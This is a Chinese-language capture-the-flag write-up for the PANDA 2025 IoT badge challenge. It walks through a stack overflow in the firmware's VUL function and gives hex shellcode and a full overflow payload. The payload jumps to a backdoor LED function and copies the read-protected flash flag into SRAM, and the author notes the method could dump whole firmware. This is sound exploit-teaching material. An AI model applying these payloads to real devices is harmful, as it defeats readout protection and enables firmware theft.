Welcome to PANDA 2025
一、前情提要
纽创的一个IOT CTF,题目和wp详见:Welcome to PANDA 2025。
给了一块板子(USB接口支持SWD和UART复用),还给了固件的二进制文件badge.elf。
串口输出采用GBK格式(实际上UTF-8更合适),用了好几个工具,只有正点原子串口调试助手能显示中文。
★☆★ Welcome to PANDA 2025! ★☆★
PA6 -> 常亮,这是挑战起点!
PC4 -> 您可以在 SRAM 找到 flag 点亮
PC5 -> 做完《拆弹专家》挑战后由工作人员点亮
PB0 -> 通过侧信道/故障等方式解出 AES KEY 后以此格式提交:flag{AES KEY} KEY 为全小写
PB1 -> 通过 VUL 功能漏洞调用后门函数点亮该 LED
PB2 -> 绕过 STM32 读保护,在 Flash 地址 0x08030030 处读取 flag
PB10 -> 常亮,这里是挑战的终点哦!
PB11 -> 进行 AES 运算前后会有拉高拉低,可以此作为触发进行侧信道/故障
===========================
[+]输入 LED 进入点灯环节
[+]输入 AES 进行 AES 运算
[+]输入 VUL 调用漏洞函数
>
本文只讨论如何点亮PB1、PB2,也就是两个固件的pwn题,其余不做说明。
二、PB1
1.梳理逻辑
main函数中找到vul函数:

进入函数内部:

一眼就是qmemcpy导致的栈溢出,它把a1输入的300字节复制到v5处,实现内存溢出。我们需要覆盖返回地址为点灯后门函数:


后门函数入口地址为0x0800552c,但这里有一个坑:IDA 显示的函数地址是实际存储地址(0x0800552C),但 MCU 上的代码是 Thumb 指令,如果直接写 0x0800552C 到 PC/LR,CPU 会认为这是 ARM 模式入口(但 Cortex-M 没有 ARM 模式),因此会触发硬件异常。所以正确的做法是用 0x0800552D(必须把最低位设为 1),告诉 CPU 跳到 0x0800552C,并以 Thumb 模式执行。
看样子是不是直接覆盖v5(12字节)+EBP(8字节)+p32(0x0800552D)就完事了呢?
2.汇编代码的重要性
一般x86栈溢出的题目,汇编代码都遵循如下格式:
push rbp ; 保存 main 的 RBP
mov rbp, rsp ; 建立 vul 的栈帧
sub rsp, 0x20 ; 分配 buf[0x20]
...
leave ; mov rsp, rbp ; pop rbp
ret ; 弹出返回地址 → RIP
栈的结构如下:
高地址
+-------------------+
| main 的返回地址 |
+-------------------+
| main 的保存 RBP |
+-------------------+
| main 的局部变量 |
+-------------------+
| 返回地址(→ main) |
+-------------------+
| 保存的 RBP(main) | ← push rbp
+-------------------+
| buf[0x20] | ← 分配的局部变量空间
+-------------------+
低地址 ← RSP
但如果观察vul的汇编代码,会发现大不一样:

竟然没有rbp和栈的分配!rbp先不说,为什么代码中定义了v5,汇编中却没有?
初入二进制领域,这个问题也困扰了我一晚上,偶然看到vul函数调用的这行代码才恍然大悟:

函数调用的4个参数中,后三个正是在函数体内分配给v5的局部变量,原来如此,函数在调用初期还没执行代码时,v5就已经入栈了。因此,我们也没必要去分析它到底在什么地方,因为这对我们进行漏洞利用没有帮助。
有意思的是上面的汇编代码,第一行的push语句代替保存rbp的语句,依次将LR、R5、R4、R3、R2、R1入栈,sp递减,最后依次pop到R1、R2、R3、R4、R5、PC,使LR-->PC,sp回增,实现函数返回。
3.漏洞利用
如果以字符串形式发送新行,则发送的实际上是VUL\r\n,即56 55 4c 0d 0a,不是4的倍数,下次填充300字节数据时需要事先补齐3字节,不如以16进制输入56 55 4c 0a方便:

根据IDA的代码注释,300字节的写入位置其实就是push后sp指向的地址,往高地址写入。结合push的顺序并多次调试,可知需要先覆盖R1-R5这5个寄存器,再覆盖返回地址,最后补全300字节即可(如果不补全则不能继续执行下去,也就不能执行后门函数了,超过300字节影响不大):

此时灯已点亮。
三、PB2
1.思路分析
读取flash中内容在读保护RDP1开启时是不可行的,因此想到继续借助vul之力,进行内存泄露。
主要思路:通过点灯 payload 可知返回地址所在的位置,精准的往 SRAM 中填充shellcode,覆盖返回地址为shellcode地址并让芯片执行。而这个shellcode是我们自己构造的代码,利用 flash 代码中的 memcpy 函数将 0x08030030 处的 flag 拷贝到 SRAM 中我们指定的位置,最后查看SRAM中这个位置就能找到flag。
2.构造payload

图中可知返回地址所在位置为0x2000088c,我们可以把shellcode写到0x20000890开始的地方,那么它俩的地址就是相邻的。对于memcpy函数,其地址是0x08000242+1,它有三个主要的参数r0、r1和r2,分别表示flag要写入SRAM中的位置、原不可读flag的位置和要拷贝的内存大小。

shellcode构造如下:


# shellcode
03 48 04 49 4f f4 80 72 03 4b 98 47 fe e7 00 00 00 10 00 20 30 00 03 08 43 02 00 08
3.漏洞利用
覆盖后的返回地址应为0x20000890+1,这里存放我们要执行的shellcode,因此payload如下:
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 91 08 00 20 03 48 04 49 4f f4 80 72 03 4b 98 47 fe e7 00 00 00 10 00 20 30 00 03 08 43 02 00 08 43 43 43 43...(后面可用0x43补全300字节)
最终能在0x20001000处看见复制过来的flag:

按照这种漏洞利用,理论上可以提取出完整的固件。
MVP结算感言:IDA的F5和汇编都要重视:)

浙公网安备 33010602011771号